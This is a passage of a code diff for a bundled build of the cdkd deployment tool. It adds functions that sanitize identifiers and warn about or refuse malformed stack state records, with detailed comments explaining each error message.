+ * Wrapping the command in `'...'` is not enough either, and is what makes the
22079
+ * two compose badly: `shellQuote` does its own quoting, so an outer wrapper
22080
+ * produces something unpastable. Hence unwrapped and last.
22081
+ *
22082
+ * An identifier that sanitizes to EMPTY becomes `UNRENDERABLE` rather than
22083
+ * nothing — an empty argument makes `--stack-region` swallow the next flag,
22084
+ * turning a remedy into a differently-broken command.
22085
+ *
22086
+ * MODULE-PRIVATE, and it stayed that way after go-to-k/cdkd#3206's review
22087
+ * considered exporting it. `cdkd scrub`'s audited-record refusal needed the
22088
+ * same three properties (sanitize, cap, `UNRENDERABLE` on empty) plus a
22089
+ * BOUNDARY, because its names go into a comma-joined list where a name
22090
+ * containing the delimiter forges an entry. `displayIdent` has all four —
22091
+ * JSON-quoting escapes the delimiter it adds — so that caller uses it and this
22092
+ * stays private. The pair here is not duplicated: what differs is the
22093
+ * `shellQuote` composition every message in THIS module needs and that one
22094
+ * must not have.
22095
+ */
22096
+ function safeIdentifier(value) {
22097
+ const safe = displaySafe(value, { asciiOnly: true });
22098
+ if (!safe) return UNRENDERABLE;
22099
+ const { text, truncated } = truncateCodePoints(safe, 128);
22100
+ return truncated ? `${text}...` : text;
22101
+ }
22102
+ function malformedStateDetail(stackName, region) {
22103
+ const stack = safeIdentifier(stackName);
22104
+ const reg = safeIdentifier(region);
22105
+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'resources' map — the record is malformed or truncated. Do NOT run 'cdkd deploy' or 'cdkd destroy' against it: both read the same map, and an unreadable one is indistinguishable from an empty stack, so deploy would re-CREATE every resource and destroy would delete none of them. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
22106
+ }
22107
+ /**
22108
+ * For a READ-ONLY command: give the record an empty resource bag so the
22109
+ * command can report on it, and say so (issue go-to-k/cdkd#3018).
22110
+ *
22111
+ * `parseStateBody` deliberately does not validate the inner shape, so a
22112
+ * hand-edited or truncated record reaches a command with `resources` absent,
22113
+ * `null`, or some other non-object. Every such command then died on a raw
22114
+ * `TypeError` from the first `Object.keys` / `in` / index read — the exact
22115
+ * wording differs per shape (`Cannot convert undefined or null to object`,
22116
+ * `Cannot use 'in' operator`, `Cannot read properties of null`), and none of
22117
+ * them names a stack, a key or a remedy, from exactly the commands a user
22118
+ * reaches for WHEN the state is broken.
22119
+ *
22120
+ * WHY AT THE LOAD AND NOT AT EACH LOOP. The first cut of #3018 put `?? {}` on
22121
+ * the twelve `Object.entries(state.resources)` loops, which was inert: every
22122
+ * one of those flows dereferences the bag EARLIER — `!(id in state.resources)`,
22123
+ * `hasOwnProperty.call(...)`, `state.resources[logicalId]` — so the abort still
22124
+ * happened one line up and the guards only made it look handled. One call per
22125
+ * load dominates the whole flow behind it, including the helpers that take the
22126
+ * state as a parameter (`orphan-rewriter`, `diff-calculator`,
22127
+ * `collectCcApiRoutes`).
22128
+ *
22129
+ * Mutates in place and returns whether it repaired anything; the caller warns
22130
+ * on `true`. A silent repair is its own defect — an empty resource set is
22131
+ * indistinguishable from a healthy empty stack in every later line of output,
22132
+ * so `No changes detected` over an unreadable record is a clean verdict about
22133
+ * nothing.
22134
+ *
22135
+ * **Only for a command that cannot WRITE state.** Anything that can persist
22136
+ * uses {@link refuseMalformedState} instead; see its note.
22137
+ */
22138
+ function repairMalformedResourcesForReadOnly(state) {
22139
+ if (hasReadableResources(state)) return false;
22140
+ state.resources = {};
22141
+ return true;
22142
+ }
22143
+ /**
22144
+ * The refusal TEXT, for a command whose own exit-code contract means this
22145
+ * cannot be a plain `CdkdError`.
22146
+ *
22147
+ * `cdkd scrub` is the case: its exit `1` is SPOKEN FOR ("--fail found
22148
+ * plaintext") and every one of its refusals carries `exitCode = 2`, because a
22149
+ * CI gate reading the code alone must be able to tell "scrub looked and found
22150
+ * a leak" from "scrub refused to look" — the two call for opposite responses.
22151
+ * So scrub tests {@link hasReadableResources} and raises its own class around
22152
+ * this text rather than calling {@link refuseMalformedState}.
22153
+ *
22154
+ * The other three refusing commands do NOT share that need, and giving them a
22155
+ * single shared code would be wrong in the other direction: `cdkd rollback`
22156
+ * documents `2` as "PARTIAL — journal kept, idempotent re-run", so a `2` here
22157
+ * would tell an operator to re-run a command that attempted nothing.
22158
+ */
22159
+ function malformedStateRefusalMessage(stackName, region) {
22160
+ return `${malformedStateDetail(stackName, region)} This command can WRITE state, so it refuses rather than continuing: saving over a record whose resource map could not be read would replace the evidence with a well-formed empty one and lose it permanently. Repair or remove the record first.`;
22161
+ }
22162
+ /**
22163
+ * The warning a view emits when it emptied one or more {@link
22164
+ * RenderedStateContainer}s it could not walk (go-to-k/cdkd#3187).
22165
+ *
22166
+ * Deliberately NOT {@link malformedResourcesWarning}'s text, and the reason is
22167
+ * narrower than it looks. That one tells the reader not to run `cdkd deploy` /
22168
+ * `cdkd destroy` because an unreadable `resources` MAP is indistinguishable
22169
+ * from an empty stack: deploy would re-CREATE everything and destroy would
22170
+ * delete nothing. No container named here can produce that specific confusion —
22171
+ * the resource SET is still readable — so borrowing that sentence would attach
22172
+ * a re-create-the-world warning to a record whose resource list is intact.
22173
+ *
22174
+ * It is NOT that these containers are display-only. `properties` is read by the
22175
+ * deploy change calculation (`src/analyzer/diff-calculator.ts`), which imports
22176
+ * nothing from this module, and a non-object there compares unequal to any
22177
+ * desired object and yields a spurious property-change set — filed as
22178
+ * go-to-k/cdkd#3191. An earlier revision of this comment asserted the
22179
+ * display-only premise, which would have read as licence to drop a guard on
22180
+ * that path (review of go-to-k/cdkd#3190).
22181
+ *
22182
+ * What stays the same is the remedy: `--json` is the mode that shows the
22183
+ * stored value.
22184
+ *
22185
+ * ONE warning per record however many containers it names — a stack whose 500
22186
+ * resources all carry a hand-edited `properties` gets one line, not 500. The
22187
+ * caller FILTERS a fixed order (`RENDERED_CONTAINER_ORDER`), so the text is
22188
+ * stable across records. Not `.sort()` — that order is deliberately not
22189
+ * alphabetical, and its own JSDoc says so.
22190
+ *
22191
+ * Both identifiers are sanitized and then shell-quoted, and the command is
22192
+ * emitted LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s own note
22193
+ * gives.
22194
+ *
22195
+ * The container NAMES take {@link safeIdentifier} too — the SAME helper, so
22196
+ * they cannot drift from it — but NOT `shellQuote`, because they appear in the
22197
+ * PROSE and never inside the command this text tells the reader to run; the
22198
+ * command carries the two identifiers and nothing else.
22199
+ *
22200
+ * Sanitizing them is not dead code written for a case that cannot happen. The
22201
+ * union above is closed at COMPILE time, so without this the guarantee would
22202
+ * live in a comment, and the day a caller derives a name from a record instead
22203
+ * of from a literal an unsanitized element could forge a line, render as empty
22204
+ * quotes naming nothing, or run to kilobytes and push the remedy command off
22205
+ * the reader's screen. `safeIdentifier` closes all three and is the identity on
22206
+ * all four literals, so no user-visible text moves.
22207
+ *
22208
+ * What it does NOT close, stated rather than reassured away: a forged name made
22209
+ * only of printable ASCII still renders verbatim inside its quotes and could
22210
+ * read as prose. That residual is bounded to the PROSE — the command the reader
22211
+ * pastes is built from the two shell-quoted identifiers alone — and closing it
22212
+ * would mean JSON-quoting a name in the one place the text is meant to read as
22213
+ * English (review of go-to-k/cdkd#3190).
22214
+ */
22215
+ function malformedRenderedContainersWarning(stackName, region, containers) {
22216
+ const stack = safeIdentifier(stackName);
22217
+ const reg = safeIdentifier(region);
22218
+ const names = containers.map((name) => `'${safeIdentifier(name)}'`).join(", ");
22219
+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has a non-object ${names} — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so rendering one INVENTS a row per character or element. Continuing with it EMPTY: this view shows no rows there, which is not the same as the record holding none. A per-resource container is named once however many resources hold one. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
22220
+ }
22221
+ /** The warning a caller of {@link repairMalformedResourcesForReadOnly} emits. */
22222
+ function malformedResourcesWarning(stackName, region) {
22223
+ return `${malformedStateDetail(stackName, region)} Continuing with an EMPTY resource set: this command's output describes zero resources, which is not the same as the stack having none.`;
22224
+ }
22225
+ /**
22226
+ * The `outputs` half of {@link repairMalformedResourcesForReadOnly}, for a
22227
+ * READ-ONLY command that DIFFS the stored bag rather than rendering it
22228
+ * (go-to-k/cdkd#3189).
22229
+ *
22230
+ * `computeOutputsDiff` enumerates the stored bag twice, the second walk
22231
+ * emitting one `REMOVE` row per stored key today's template no longer declares.
22232
+ * It used to admit the bag on a bare `?? {}`, which covers `null` and
22233
+ * `undefined` only — so a hand-edited or truncated record whose `outputs` holds
22234
+ * a string or a list previewed the REMOVAL of outputs that never existed, one
22235
+ * row per character or element, each carrying a character of the record as its
22236
+ * `old:` side, with `cdkd diff --fail` exiting 1 on them.
22237
+ *
22238
+ * AT THE LOAD, for the reason
22239
+ * {@link repairMalformedResourcesForReadOnly}'s own note records and one more
22240
+ * that is specific to this container: `cdkd diff` dereferences the stored bag
22241
+ * BEFORE the walk that fabricates. `resolveTemplateOutputs` asks
22242
+ * `hasOwnProperty.call(storedOutputs, key)` for go-to-k/cdkd#2740's
22243
+ * skipped-output record and for go-to-k/cdkd#1942's literal `Export.Name`
22244
+ * verdict — which ANSWERS TRUE on a string for `'0'` or `'length'`, and THROWS
22245
+ * outright on `null` (`Cannot convert undefined or null to object`). So a guard
22246
+ * written at `computeOutputsDiff` alone leaves a wrong decision, or a raw
22247
+ * `TypeError`, one call above it.
22248
+ *
22249
+ * ABSENT IS EXEMPT AND `null` IS NOT, which is the one place this diverges from
22250
+ * {@link isReadableBag}'s verdict, and the split is measured rather than
22251
+ * stylistic. Both stored-bag lookups named above gate on
22252
+ * `storedOutputs !== undefined` before the `hasOwnProperty` call, so an ABSENT
22253
+ * bag never reaches one; every other consumer on the diff path carries its own
22254
+ * `?? {}` (`mergeNoChangeOutputs`'s `persisted`, `importableOutputKeys`, this
22255
+ * function's own walk). An absent bag is therefore inert, exactly the condition
22256
+ * under which `state.ts`'s `repairRenderedContainers` exempts it — and warning
22257
+ * would be a false positive on a record cdkd itself supports: `cdkd scrub`
22258
+ * round-trips a record with no `outputs` deliberately, refusing to materialize
22259
+ * `{}` over it, and the deploy's failure-path saves write
22260
+ * `outputs: currentState.outputs`, which `JSON.stringify` drops when it is
22261
+ * undefined. A `null` bag is NOT inert — it passes the `!== undefined` gate and
22262
+ * `hasOwnProperty.call(null, ...)` throws — so it is repaired and warned about
22263
+ * like any other unreadable shape.
22264
+ *
22265
+ * That leaves one clause of go-to-k/cdkd#3189's stated floor overridden on
22266
+ * purpose: it asked that a `null` bag "diff exactly as it does today and say
22267
+ * nothing", and diffing exactly as it does today means THROWING. Recorded on
22268
+ * the issue rather than silently traded.
22269
+ *
22270
+ * Mutates in place and returns whether it repaired anything; the caller warns
22271
+ * on `true` with {@link malformedOutputsWarning}. Read-only commands ONLY, for
22272
+ * the reason {@link refuseMalformedState} gives — a bag laundered into a
22273
+ * well-formed empty one is permanent, and for `outputs` it would also take the
22274
+ * exports index with it on the next write.
22275
+ */
22276
+ function repairMalformedOutputsForReadOnly(state) {
22277
+ if (hasReadableOutputs(state)) return false;
22278
+ state.outputs = {};
22279
+ return true;
22280
+ }
22281
+ /**
22282
+ * The warning a caller of {@link repairMalformedOutputsForReadOnly} emits.
22283
+ *
22284
+ * Deliberately neither {@link malformedResourcesWarning}'s text nor
22285
+ * {@link malformedRenderedContainersWarning}'s, because the CONSEQUENCE of
22286
+ * continuing empty differs from both. The resources text forbids
22287
+ * `cdkd deploy` / `cdkd destroy` because an unreadable resource MAP is
22288
+ * indistinguishable from an empty stack; the resource set is intact here. The
22289
+ * rendered-containers text says the view "shows no rows there" — true of a
22290
+ * renderer, false of a diff, which does not go quiet on an empty stored bag but
22291
+ * reports every resolved output as an `ADD`. Saying so is the point: an
22292
+ * operator who reads `ADD` rows for outputs the stack already has needs to know
22293
+ * the comparison lost its left-hand side.
22294
+ *
22295
+ * Identifiers are sanitized and then shell-quoted and the command is emitted
22296
+ * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
22297
+ */
22298
+ function malformedOutputsWarning(stackName, region) {
22299
+ const stack = safeIdentifier(stackName);
22300
+ const reg = safeIdentifier(region);
22301
+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. Where the stored value is a string or a list, 'Object.entries' walks it as readily as a map, so diffing it INVENTS a REMOVE row per character or element carrying the record's own characters; where it is a number, a boolean or null, it yields no comparison at all. Continuing with it EMPTY: every output this diff resolves is reported as an ADD and no stored key is reported as a REMOVE, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
22302
+ }
22303
+ /**
22304
+ * For a command that can WRITE state: refuse the record by name instead of
22305
+ * repairing it.
22306
+ *
22307
+ * Repairing is actively DANGEROUS here, and the PR that introduced this module
22308
+ * shipped that danger for one round before its security review caught it.
22309
+ * `cdkd scrub` gates its `saveState` on `recordsChanged > 0`, which an OUTPUTS
22310
+ * change alone satisfies — so a record holding `"resources": null` and a
22311
+ * plaintext secret in `outputs` would be scrubbed, and then saved back with a
22312
+ * repaired, WELL-FORMED `resources: {}`. The malformed record is the only
22313
+ * signal that anything is wrong; laundering it into a legitimate-looking empty
22314
+ * one is permanent and silent. The next `cdkd deploy` then reads zero resources
22315
+ * and CREATES the whole stack a second time, and the next `cdkd destroy`
22316
+ * deletes nothing and orphans every live resource — and the one-shot warning
22317
+ * that would have said so is long gone, quite possibly for a different
22318
+ * operator. `cdkd import --force` launders it the same way.
22319
+ *
22320
+ * Refusing still satisfies #3018, whose complaint was the BARE `TypeError`:
22321
+ * this names the stack, the region, the defect and the remedy, and exits on a
22322
+ * code rather than on a stack trace.
22323
+ */
22324
+ function refuseMalformedState(state, stackName, region) {
22325
+ if (hasReadableResources(state)) return;
22326
+ throw new CdkdError(malformedStateRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
22327
+ }
22328
+ /**
22329
+ * The `outputs` half of {@link malformedStateRefusalMessage}, for the same
22330
+ * reason that one is exported separately from the throw: `cdkd scrub`'s exit
22331
+ * `1` is spoken for and it raises its own exit-2 class around this text.
22332
+ *
22333
+ * A DIFFERENT text from the `resources` refusal because the consequence of
22334
+ * continuing differs, the same way the three warnings in this module differ. The
22335
+ * `resources` message forbids `cdkd deploy` / `cdkd destroy` because an
22336
+ * unreadable resource MAP is indistinguishable from an empty stack; the resource
22337
+ * set is intact here. What is at stake instead is the SHARED exports index:
22338
+ * `cdkd/_index/<region>/exports.json` is rebuilt from these bags, and a string
22339
+ * bag published one fabricated export per character into the namespace every
22340
+ * other stack's `Fn::ImportValue` binds against.
22341
+ *
22342
+ * Identifiers are sanitized and THEN shell-quoted and the command is emitted
22343
+ * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
22344
+ */
22345
+ function malformedOutputsRefusalMessage(stackName, region) {
22346
+ const stack = safeIdentifier(stackName);
22347
+ const reg = safeIdentifier(region);
22348
+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. This command can WRITE state, so it refuses rather than continuing: it REBUILDS the bag before saving, and 'Object.entries' walks a string or a list as readily as a map, so a six-character value would be saved back as a well-formed six-key map (a null one as an empty map). That replaces the only signal anything is wrong with a legitimate-looking record, permanently — and the next deploy republishes it into the shared exports index every other stack's Fn::ImportValue resolves against. Repair or remove the record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
22349
+ }
22350
+ /**
22351
+ * The line `ExportIndexStore`'s rebuild emits for a producer record whose
22352
+ * export set it could not read (issue go-to-k/cdkd#3192) — `outputs` not a
22353
+ * plain object, or `exportNames` present and not an array.
22354
+ *
22355
+ * A THIRD outputs text rather than {@link malformedOutputsWarning} because the
22356
+ * consequence is again different, which is the rule the two above already
22357
+ * follow. That one describes a DIFF continuing with an empty left-hand side.
22358
+ * This describes a record CONTRIBUTING NOTHING to a shared, region-wide index
22359
+ * other stacks resolve against — so the symptom a reader will actually meet is
22360
+ * a later `Fn::ImportValue` failing in a DIFFERENT stack, naming the consumer
22361
+ * and not this record. Saying which producer dropped out is the whole value of
22362
+ * the line.
22363
+ *
22364
+ * It says the rebuild CONTINUES, because it does: refusing would take every
22365
+ * other producer in the region down with it, and the index is best-effort by
22366
+ * design.
22367
+ *
22368
+ * Identifiers are sanitized and THEN shell-quoted and the command is emitted
22369
+ * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
22370
+ */
22371
+ function malformedExportSourceWarning(stackName, region) {
22372
+ const stack = safeIdentifier(stackName);
22373
+ const reg = safeIdentifier(region);
22374
+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map or 'exportNames' list — the record is malformed or truncated. It contributes NO exports to this region's index, which is not the same as the stack exporting none: an Fn::ImportValue of a name this stack really publishes will fail in the CONSUMER stack, naming that stack rather than this record. Continuing with the other producers — enumerating a string or a list here would instead publish one FABRICATED export per character or element. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
22375
+ }
22376
+ /**
22377
+ * The line a READ-ONLY command emits when a record's `exportNames` FIELD could
22378
+ * not be used (go-to-k/cdkd#3192 review) — present and not an array, or an
22379
+ * array with no usable name in it.
22380
+ *
22381
+ * Why a message at all, when the predicate already fails closed: before this
22382
+ * class was guarded, `cdkd diff` over such a record died with
22383
+ * `TypeError: state.exportNames.filter is not a function`. Failing closed
22384
+ * inside `importableOutputKeys` is right — it is a pure predicate reached from
22385
+ * five commands and holds no stack identity — but silently replacing a LOUD
22386
+ * wrong answer with a QUIET one is its own regression, and `cdkd diff` is
22387
+ * exactly the caller that DOES hold the identity. Without this it warned about
22388
+ * a damaged `outputs` bag on one line and said nothing about the damaged
22389
+ * `exportNames` on the same record.
22390
+ *
22391
+ * Deliberately NOT {@link malformedOutputsWarning}'s text: that one is about
22392
+ * the BAG, and the consequence differs. An unusable export SET does not lose
22393
+ * the comparison's left-hand side — every stored key is still diffed — it
22394
+ * makes the preview report no key as an export, so a row that would carry
22395
+ * `[export]` renders without it.
22396
+ *
22397
+ * Identifiers are sanitized and THEN shell-quoted and the command is emitted
22398
+ * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
22399
+ */
22400
+ function malformedExportNamesWarning(stackName, region) {
22401
+ const stack = safeIdentifier(stackName);
22402
+ const reg = safeIdentifier(region);
22403
+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has an unusable 'exportNames' list — the record is malformed or truncated. It is read as an EMPTY export set, which is not the same as the record holding one: no stored key is reported as an export, so a row that should carry an '[export]' tag renders without it. Reading it as UNKNOWN instead would be worse — that falls back to the pre-v9 rule where every output name is importable. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
22404
+ }
22405
+ /**
22406
+ * For a command that can WRITE state: refuse a record whose `outputs` bag
22407
+ * cannot be read, instead of rebuilding it (issue go-to-k/cdkd#3192).
22408
+ *
22409
+ * The SIBLING of {@link refuseMalformedState}, and deliberately a second call
22410
+ * rather than a widening of that one. A record can be malformed in either
22411
+ * container alone, the two carry different consequences, and the refusal a user
22412
+ * sees must name the container that is actually broken — a `resources` message
22413
+ * printed over an intact resource map tells them not to run `cdkd deploy` for a
22414
+ * reason that does not hold.
22415
+ *
22416
+ * Why REFUSE and not {@link repairMalformedOutputsForReadOnly}, which is the
22417
+ * opposite answer for the same container one function up: repairing the bag and
22418
+ * then saving it IS the laundering this is here to stop. Measured, not
22419
+ * reasoned — `rewriteResourceReferences` turns `outputs: 'abcdef'` into
22420
+ * `{"0":"a",…,"5":"f"}` and `cdkd orphan` saves that; `cdkd scrub`'s
22421
+ * `redactUnaccountedOutputs` spreads the same string into a map and its
22422
+ * `outputsChanged` compare then satisfies the `recordsChanged > 0` write gate;
22423
+ * `cdkd import` carries a `null` bag through `?? {}`. Each one rewrites a
22424
+ * damaged record into a well-formed one and the evidence is gone.
22425
+ *
22426
+ * CALL IT AT THE LOAD, beside {@link refuseMalformedState} and above the first
22427
+ * expression that reads the bag — the placement rule
22428
+ * {@link repairMalformedResourcesForReadOnly}'s note records, for the reason it
22429
+ * records: a guard written at the rebuild leaves every earlier dereference in
22430
+ * front of it.
22431
+ */
22432
+ function refuseMalformedOutputs(state, stackName, region) {
22433
+ if (hasReadableOutputs(state)) return;
22434
+ throw new CdkdError(malformedOutputsRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
22435
+ }
22436
+ /**
22437
+ * The DESTROY refusal text (issue
22438
+ * [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
22439
+ *
22440
+ * A FOURTH outputs text rather than {@link malformedOutputsRefusalMessage},
22441
+ * for the reason every text in this module is its own: that one says the
22442
+ * command "REBUILDS the bag before saving", which is FALSE here. A destroy
22443
+ * never rebuilds the bag — its incremental preserve-writes CLEAR `outputs`
22444
+ * outright. What it does with the bag instead is DECIDE, and the decision is
22445
+ * the strong-reference pre-flight: `state.outputs && Object.keys(...).length >
22446
+ * 0` asks "might this stack be a producer?", and only a positive answer runs
22447
+ * the cross-stack scan that refuses to delete an exporter while an importer
22448
+ * exists.
22449
+ *
22450
+ * Both directions of that question are wrong on a damaged bag, which is why
22451
+ * repairing is not available here. A STRING or a LIST answers YES for the
22452
+ * wrong reason — `Object.keys('abcdef')` is six fabricated names — and a
22453
+ * `null`, a number or a boolean answers NO, so the scan is SKIPPED and the
22454
+ * destroy deletes a producer other stacks still `Fn::ImportValue` from.
22455
+ * Reading the bag as empty (the read-only repair) IS that second answer, so
22456
+ * the only answer that fabricates nothing and skips no protection is to stop.
22457
+ *
22458
+ * Identifiers are sanitized and THEN shell-quoted and the command is emitted
22459
+ * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
22460
+ */
22461
+ function malformedDestroyOutputsRefusalMessage(stackName, region) {
22462
+ const stack = safeIdentifier(stackName);
22463
+ const reg = safeIdentifier(region);
22464
+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. This command DELETES state, so it refuses rather than continuing: it reads this bag to decide whether the stack might export anything, and that decision gates the cross-stack check that refuses to delete a producer another stack still imports from. A string or a list invents one export name per character or element; a null, a number or a boolean reads as 'exports nothing' and SKIPS the check entirely, deleting the record while consumers still resolve against it. Repair or remove the record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
22465
+ }
22466
+ /**
22467
+ * For `cdkd destroy` / `cdkd state destroy`: refuse a record whose `outputs`
22468
+ * bag cannot be read (issue
22469
+ * [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
22470
+ *
22471
+ * A SEPARATE call from {@link refuseMalformedOutputs} rather than a flag on
22472
+ * it, for the same reason {@link refuseMalformedOutputs} is separate from
22473
+ * {@link refuseMalformedState}: the refusal a user sees must describe what
22474
+ * THIS command would have done with the bag, and the two consequences are
22475
+ * different — see {@link malformedDestroyOutputsRefusalMessage}.
22476
+ *
22477
+ * CALL IT AT THE TOP OF THE DESTROY, above the strong-reference decision it
22478
+ * protects. The placement rule is
22479
+ * {@link repairMalformedResourcesForReadOnly}'s and applies unchanged.
22480
+ */
22481
+ function refuseMalformedOutputsForDestroy(state, stackName, region) {
22482
+ if (hasReadableOutputs(state)) return;
22483
+ throw markNonRetryable(new CdkdError(malformedDestroyOutputsRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED));
22484
+ }
22485
+ /**
22486
+ * The NESTED-STACK refusal text (issue
22487
+ * [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
22488
+ *
22489
+ * A FIFTH text, and the one whose damaged record and saved record are
22490
+ * DIFFERENT stacks. `NestedStackProvider.readChildOutputsAsAttributes` reads
22491
+ * the CHILD's persisted bag and rebuilds it into the PARENT's
22492
+ * `Outputs.<Key>` attributes; the parent's deploy then persists those
22493
+ * attributes into the parent's own record, where every `Fn::GetAtt` against
22494
+ * the nested stack resolves them — into live AWS calls. So a six-character
22495
+ * child bag becomes six fabricated parent attributes, and
22496
+ * {@link malformedOutputsRefusalMessage}'s "saved back as a well-formed
22497
+ * six-key map ... republished into the shared exports index" would name the
22498
+ * wrong record and the wrong blast radius.
22499
+ *
22500
+ * Identifiers are sanitized and THEN shell-quoted and the command is emitted
22501
+ * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
22502
+ */
22503
+ function malformedNestedChildOutputsRefusalMessage(childStackName, region) {
22504
+ const stack = safeIdentifier(childStackName);
22505
+ const reg = safeIdentifier(region);
22506
+ return `State for nested stack child ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. The parent's 'Outputs.<Key>' attributes are REBUILT from this bag and persisted into the PARENT's record, and 'Object.entries' walks a string or a list as readily as a map — so a six-character value would become six fabricated parent attributes that every Fn::GetAtt against this nested stack then resolves into live AWS calls. The deploy refuses rather than fabricating them. Repair or remove the child's record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
22507
+ }
22508
+ /**
22509
+ * For the nested-stack provider: refuse a CHILD record whose `outputs` bag
22510
+ * cannot be read (issue [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
22511
+ *
22512
+ * The provider itself calls no `saveState`, and that is why this is a refusal
22513
+ * rather than a repair anyway: what it returns becomes the parent's
22514
+ * `ResourceState.attributes`, which the parent's deploy engine persists. Being
22515
+ * write-capable THROUGH A CALLER is the same hazard as writing directly, and
22516
+ * repairing here would put a well-formed fabricated attribute set into the
22517
+ * parent's record with nothing left to say the child was damaged.
22518
+ */
22519
+ function refuseMalformedNestedChildOutputs(state, childStackName, region) {
22520
+ if (hasReadableOutputs(state)) return;
22521
+ throw markNonRetryable(new CdkdError(malformedNestedChildOutputsRefusalMessage(childStackName, region), STATE_RESOURCES_MALFORMED));
22522
+ }
22523
+ /**
22524
+ * The warning the `cdkd local *` commands emit for a record whose `outputs`
22525
+ * bag they had to read as EMPTY (issue
22526
+ * [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
22527
+ *
22528
+ * A SIXTH text, and the only one on this container for a READ-ONLY caller
22529
+ * other than {@link malformedOutputsWarning}. It is not that one because the
22530
+ * consequence differs the same way every text in this module differs: that one
22531
+ * describes a DIFF continuing with an empty left-hand side and reporting every
22532
+ * resolved output as an `ADD`. A local run reports no rows at all — it
22533
+ * SUBSTITUTES, so the visible effect is an environment variable or a
22534
+ * `Fn::GetStackOutput` / `Fn::ImportValue` reference that resolves to nothing
22535
+ * and is dropped with a per-key warning, which is what "the record holds no
22536
+ * outputs" also looks like.
22537
+ *
22538
+ * TWO call sites share it, deliberately: `S3LocalStateProvider.load` reading
22539
+ * the TARGET stack's record, and `buildCrossStackResolver`'s
22540
+ * `Fn::GetStackOutput` arm reading a PRODUCER's. The record named is whichever
22541
+ * one is damaged, and the consequence is identical — which is why one text is
22542
+ * right here and a second spelling would only drift.
22543
+ *
22544
+ * Read-only is a property of these callers rather than of the command:
22545
+ * `cdkd local` writes no `state.json`. It CAN write one DERIVED key —
22546
+ * `ExportIndexStore.load` rebuilds and PUTs `cdkd/_index/<region>/exports.json`
22547
+ * on a miss — and that write is already fail-closed and warned about by
22548
+ * `hasReadableExportSet` / {@link malformedExportSourceWarning}, so nothing
22549
+ * here can launder a record.
22550
+ *
22551
+ * Identifiers are sanitized and THEN shell-quoted and the command is emitted
22552
+ * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
22553
+ */
22554
+ function malformedLocalOutputsWarning(stackName, region) {
22555
+ const stack = safeIdentifier(stackName);
22556
+ const reg = safeIdentifier(region);
22557
+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so reading it would hand this local run one FABRICATED output per character or element. Continuing with it EMPTY: every reference to an output of this record resolves to nothing and is dropped, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
22558
+ }
22559
+
21767
22560
  //#endregion
21768
22561
  //#region src/provisioning/config-shape.ts
21769
22562
  /**
@@ -23764,6 +24557,82 @@ function nestedStackChildRegionFromLocalArn(physicalId) {
23764
24557
  if (typeof physicalId !== "string") return void 0;
23765
24558
  return NESTED_STACK_LOCAL_ARN.exec(physicalId)?.[1];
23766
24559
  }
24560
+ /**
24561
+ * The prefix every dynamic-reference diagnostic this resolver spells carries.
24562
+ *
24563
+ * Exported because `cdkd scrub` applies the SAME partition on its side and must
24564
+ * not keep a second spelling of it (issue #1936's rule, one layer up): a bare
24565
+ * marker tail is reachable from text this resolver did not write — `Parameter X
24566
+ * is required but no value was provided` comes out of `resolveParameters` — so
24567
+ * the prefix is what makes the match an assertion about OWNERSHIP.
24568
+ */
24569
+ const DYNAMIC_REFERENCE_PREFIX = "Dynamic reference: ";
24570
+ /**
24571
+ * Does `source` carry a `{{resolve:...}}` reference that could actually be
24572
+ * FETCHED — one not still awaiting an `Fn::Sub` placeholder?
24573
+ *
24574
+ * Moved here from `cdkd scrub` (issue go-to-k/cdkd#3181), which still imports
24575
+ * it, because the resolver needs the same question answered per abandoned UNIT
24576
+ * and issue #1936 forbids a second spelling of the token pattern.
24577
+ *
24578
+ * The distinction it draws is between "nobody could have resolved this" and
24579
+ * "this one was resolvable and was not resolved" — the line between merely
24580
+ * REPORTING an abandonment and letting it gate an exit code.
24581
+ */
24582
+ function carriesFetchableDynamicReference(source) {
24583
+ if (typeof source === "string") return dynamicReferenceTokens(source).some((token) => !token.includes("${"));
24584
